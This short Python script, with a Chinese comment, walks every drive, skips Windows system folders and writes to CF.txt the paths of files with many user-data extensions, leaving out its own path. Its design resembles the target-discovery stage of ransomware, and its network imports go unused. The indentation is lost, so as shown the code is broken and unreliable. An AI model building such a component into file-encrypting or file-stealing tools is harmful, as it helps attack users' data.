import os
import sys
import requests
import uuid
from requests import get
ignore_path = ['C:\\$Recycle.Bin','C:\\Program Files','C:\\Program Files (x86)','C:\\Windows','C:\\PerfLogs'] #定义ignore_path为系统目录
def IterateFiles(directory,formlist=['doc','png','txt','mddata','itl','itdb','icxs','hvpl','hplg','hkdb','mdbackup','syncdb','gho','cas','svg','exe','pdf','odt','7z','rar']):
if not os.path.isdir(directory):
if directory.split('.')[-1] in formlist:
return [directory]
else:
return []
result = []
for root,dirs,files in os.walk(directory, topdown=True):
if root in ignore_path:
continue
for fl in files:
if fl.split('.')[-1] in formlist:
result.append(os.path.join(root,fl))
return result
def drives():
drive_list = []
for drive in range(ord('A'),ord('N')):
if os.path.exists(chr(drive)+":"):
drive_list.append(chr(drive)+":\\")
return drive_list
def walk_drivers(formlist=['doc','png','txt','mddata','itl','itdb','icxs','hvpl','hplg','hkdb','mdbackup','syncdb','gho','cas','svg','exe','pdf','odt','7z','rar']):
driver_list=drives()
files=[]
for driver in driver_list:
files +=IterateFiles(driver,formlist=['doc','png','txt','mddata','itl','itdb','icxs','hvpl','hplg','hkdb','mdbackup','syncdb','gho','cas','svg','exe','pdf','odt','7z','rar'])
if sys.argv[0] in files:
files.remove(sys.argv[0])
data = open("CF.txt", 'w+')
print(files,file=data)
walk_drivers()
引用了os和sys模块,打印出所有符合后缀的文件路径